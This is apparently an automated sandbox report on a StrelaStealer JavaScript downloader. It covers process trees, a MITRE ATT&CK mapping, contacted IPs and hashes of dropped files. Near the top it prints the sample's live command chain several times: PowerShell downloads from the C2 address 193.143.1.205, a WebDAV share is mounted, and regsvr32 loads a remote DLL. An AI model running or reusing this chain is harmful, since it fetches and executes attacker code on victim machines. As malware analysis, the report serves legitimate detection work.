Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
884736801811116482.js	5%	Virustotal		Browse
884736801811116482.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/I	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/I	net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1364988349.0000024D792F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2565260537.0000024D79400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/5	net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s64	net.exe, 0000000C.00000002.1382360863.000001D062798000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1382360863.000001D062798000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1382360863.000001D0627F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1382360863.000001D0627D7000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588765
Start date and time:	2025-01-11 05:14:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	884736801811116482.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 162.159.61.3, 172.64.41.3, 2.23.240.205, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.22.50.131, 2.22.50.144, 13.107.246.45, 52.6.155.20, 4.245.163.56, 23.56.162.204
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:15:04	API Interceptor	29x Sleep call for process: powershell.exe modified
23:15:09	API Interceptor	1x Sleep call for process: net.exe modified
23:15:09	API Interceptor	2x Sleep call for process: svchost.exe modified
23:15:17	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
bg.microsoft.map.fastly.net	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066902767624441
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqE:2JIB/wUKUKQncEmYRTwh0w
MD5:	B68C0935D2B70FE0E3F184425FACAFF7
SHA1:	D123D1CBEBE36E77864C2FF22F0A3F353702B10F
SHA-256:	4DAB66A18CB8E76F4AAC0206791026649EFE7885E5F85A94E638EC4DA988F512
SHA-512:	DC7A6F3E732E798EDA112AC3FA9158059CDBE440323E9BC56AFBB38B18A7BB5927FB10F057799209E7E92A9B5F42308460062DD397F81A80D499B273F3D2E532
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0b0add0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899360320641368
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:7azaPvgurTd42UgSii
MD5:	9D52951E9C3753C0EC46EE5B027029ED
SHA1:	ED3C6B285E631FA973081ACCB4C85BF193852C1C
SHA-256:	A881FCA96DC2B0624E39942FB516558F6AFD0BCDC1694976EEB48CF4E8D76690
SHA-512:	6B681EA6A1B076993158B385BBFB5B631F2180EC8961DEE0BA257FA44A0FF323274448178B52900F7944601C7F363F28571CE8B69E836E6B1570B83687056D45
Malicious:	false
Preview:	..... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................ve......}..................{ y......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Award BIOS Logo, 136 x 84
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0802249172310741
Encrypted:	false
SSDEEP:	3:Uml6YeY+x1t/57Dek3JaJR4llallEqW3l/TjzzQ/t:UmUzJxHR3taElAmd8/
MD5:	5EC3B65CD7A2685FB551970DAF4CF1F7
SHA1:	9EFCA120DFD8472F772D3E1CD78FD3E0C411B016
SHA-256:	05DA99314BD7DE240F78CA66D7CEC6CF0D91037B830026FA05396CE31ECC251C
SHA-512:	70D6DF6F4A7F68D13403516D273B584677DAC5B4BB5238EEC5132CBA050428801FCC8C8E46BFFFC4A1D965E78B3AFF6DA692E3D2E128495C491A7179B6663D53
Malicious:	false
Preview:	..Fl.....................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59................{ y......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.186024000658026
Encrypted:	false
SSDEEP:	6:iO4q57Ux+q2PcNwi2nKuAl9OmbnIFUtSq5h8Zmwsq5PVkwOcNwi2nKuAl9OmbjLJ:7nU8vLZHAahFUt8/t54ZHAaSJ
MD5:	64D72CE88D6943B534F965AACAA125BB
SHA1:	3F426656C3134530C36DD2CAD6E5F5C89DF2E43E
SHA-256:	1F280F7912D81181A56459AF23C4673CF85D37CEF6F9B456F74DA2BDC8AF1479
SHA-512:	AF9FCC1F5F94274624423B17C9AB0512223E387C21E140948C37F045C315E9ABFF35BC2CF8117EFEBA3457F687209363BDC2B7F8519753D8F7F4E1494182C1AA
Malicious:	false
Preview:	2025/01/10-23:15:09.905 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:15:09.907 1ec8 Recovering log #3.2025/01/10-23:15:09.908 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.186024000658026
Encrypted:	false
SSDEEP:	6:iO4q57Ux+q2PcNwi2nKuAl9OmbnIFUtSq5h8Zmwsq5PVkwOcNwi2nKuAl9OmbjLJ:7nU8vLZHAahFUt8/t54ZHAaSJ
MD5:	64D72CE88D6943B534F965AACAA125BB
SHA1:	3F426656C3134530C36DD2CAD6E5F5C89DF2E43E
SHA-256:	1F280F7912D81181A56459AF23C4673CF85D37CEF6F9B456F74DA2BDC8AF1479
SHA-512:	AF9FCC1F5F94274624423B17C9AB0512223E387C21E140948C37F045C315E9ABFF35BC2CF8117EFEBA3457F687209363BDC2B7F8519753D8F7F4E1494182C1AA
Malicious:	false
Preview:	2025/01/10-23:15:09.905 1ec8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:15:09.907 1ec8 Recovering log #3.2025/01/10-23:15:09.908 1ec8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.138794906806223
Encrypted:	false
SSDEEP:	6:iO4q5sNQQL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSq5UG1Zmwsq5eqQLVkwOcNwi2g:7oNQVvLZHAa8uFUtWG1/dI54ZHAa8RJ
MD5:	D21C6702BD33DE82699046E003CB580B
SHA1:	A792E1CE2D619BD0F083718CF8B04D355D9CCB08
SHA-256:	1F300772AFC66EDB0632C73C8BBDBCDE0C4F11D82B0A1766D47444A54F7EDC1C
SHA-512:	67FFDC6E6040FEB42A2209DAF67BC7369337A0ED47131359221B9E060290E92596AA1DB51C8700E9D71B76913BF607565471925C90B83A59012EF0DD031A7CEF
Malicious:	false
Preview:	2025/01/10-23:15:10.007 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:15:10.008 1fc8 Recovering log #3.2025/01/10-23:15:10.009 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.138794906806223
Encrypted:	false
SSDEEP:	6:iO4q5sNQQL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSq5UG1Zmwsq5eqQLVkwOcNwi2g:7oNQVvLZHAa8uFUtWG1/dI54ZHAa8RJ
MD5:	D21C6702BD33DE82699046E003CB580B
SHA1:	A792E1CE2D619BD0F083718CF8B04D355D9CCB08
SHA-256:	1F300772AFC66EDB0632C73C8BBDBCDE0C4F11D82B0A1766D47444A54F7EDC1C
SHA-512:	67FFDC6E6040FEB42A2209DAF67BC7369337A0ED47131359221B9E060290E92596AA1DB51C8700E9D71B76913BF607565471925C90B83A59012EF0DD031A7CEF
Malicious:	false
Preview:	2025/01/10-23:15:10.007 1fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:15:10.008 1fc8 Recovering log #3.2025/01/10-23:15:10.009 1fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2adab81b-9446-470e-b35a-a078fe932c5d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8336e4b4-4514-4b28-b39a-aece281a6cbe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlQsBdOg2H6caq3QYiubSpDyP7E4T3y:Y2sRds8FdMH13QYhbSpDa7nby
MD5:	4B0F233235972CB97F88B50BCC76DAC4
SHA1:	C27E85B4124625C03FCFEACD21CA33C0CACFDE99
SHA-256:	9FB9F717EAFFA107781DAC424E4897A0B4EC315E94D3C9425E5B75E56808F473
SHA-512:	3439D1BA3EE4FEBDA699D72D765882D934C48C4D0347901DDB669C5FD9AF54B551A1DAC7C0F45A23D32E7141490E09E65B7864DA20357C67112E918D719AC98B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128921596038","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135979},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b43f1.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235919994719091
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPOKKsI:CwNw1GHqPySfkcigoO3h28ytPRKsI
MD5:	A59C4DDD593531B4A33586F3F591EBE0
SHA1:	6E3B5799DFA8C133F20C0F1D59EC37203406007D
SHA-256:	4A361533A2D8D8AA21F83856504A2D9B3BE148BF747B8D4A1876109E2AF8461A
SHA-512:	9B147282AEAA8D0D7431BA665B1B715189ED4C4FC0B4FB6F40081DDCA859D8A5BA3B561F6A33FC9A71164848B17DA2A936610CC05C47F02722359330FB0F688E
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.167616911200293
Encrypted:	false
